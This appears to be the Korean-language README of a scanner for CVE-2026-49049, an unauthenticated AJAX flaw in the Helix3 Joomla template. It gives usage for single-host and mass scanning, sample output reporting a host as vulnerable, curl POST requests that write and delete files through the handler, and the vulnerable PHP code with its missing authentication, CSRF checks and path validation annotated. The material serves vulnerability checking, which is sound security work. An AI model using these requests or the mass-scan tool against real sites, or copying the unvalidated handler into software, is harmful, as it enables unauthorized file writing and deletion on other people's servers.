CVE-2026-49049

git clone https://github.com/shinthink/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt

# 단일 대상
python cve_2026_49049.py -t 192.168.1.100

# 대량 스캔
python cve_2026_49049.py -f targets.txt -o results.txt

# JSON 보고서 + 상세 출력
python cve_2026_49049.py -f targets.txt --json report.json -v

  -t, --target     단일 대상 (도메인 또는 IP)
  -f, --file       대상 목록 파일, 한 줄에 하나
  -o, --output     실시간 텍스트 출력 (기본값: cve-2026-49049_scan.txt)
  --json           구조화된 JSON 보고서 (기본값: cve-2026-49049_report.json)
  --threads        동시 작업자 수 (기본값: 15)
  --timeout        HTTP 타임아웃(초) (기본값: 15)
  -v, --verbose    프로브 상세 정보 표시

$ python cve_2026_49049.py -t 192.168.1.100 -v

    CVE-2026-49049 — Helix3 (JoomShaper)
    Joomla 인증되지 않은 AJAX 핸들러 스캐너

    [*] save   — 접근 가능 (프로브: 3a9719da)
    [*] remove — 접근 가능 (프로브 정리됨)

  호스트      : 192.168.1.100
  상태    : 취약
  Helix3    : 2.5.6
  취약: 예
  save      : 예
  remove    : 예
  import    : 아니요
  시간      : 2.0초

curl -sk 'https://target.com/templates/shaper_helix3/templateDetails.xml'
# <version>X.X.X</version> 찾기

curl -sk -X POST \
  'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'

curl -sk -X POST \
  'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=remove&data[layoutName]=_test_probe.json'

curl -sk -X POST \
  'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=import&data[template_id]=1&data[settings]={}'

# 참고: import는 Helix3 v3.x에서 추가되었습니다.
# v2.x를 실행하는 사이트는 이 작업에 대해 빈 응답을 반환합니다.

public function onAjaxHelix3()
{
    $input = Factory::getApplication()->input;
    $data  = $input->post->get('data', [], 'array');
    $action = $data['action'];
    $layoutName = $data['layoutName'];

    // 인증 확인 없음. CSRF 토큰 없음. 경로 검증 없음.
    $filepath = $layoutPath . $layoutName;   // 경로 탐색 가능

    switch ($action) {
        case 'remove':
            unlink($filepath);               // 임의 파일 삭제
            break;
        case 'save':
            fwrite(fopen($filepath . '.json', 'wb'), $data['content']);  // 쓰기
            break;
    }
}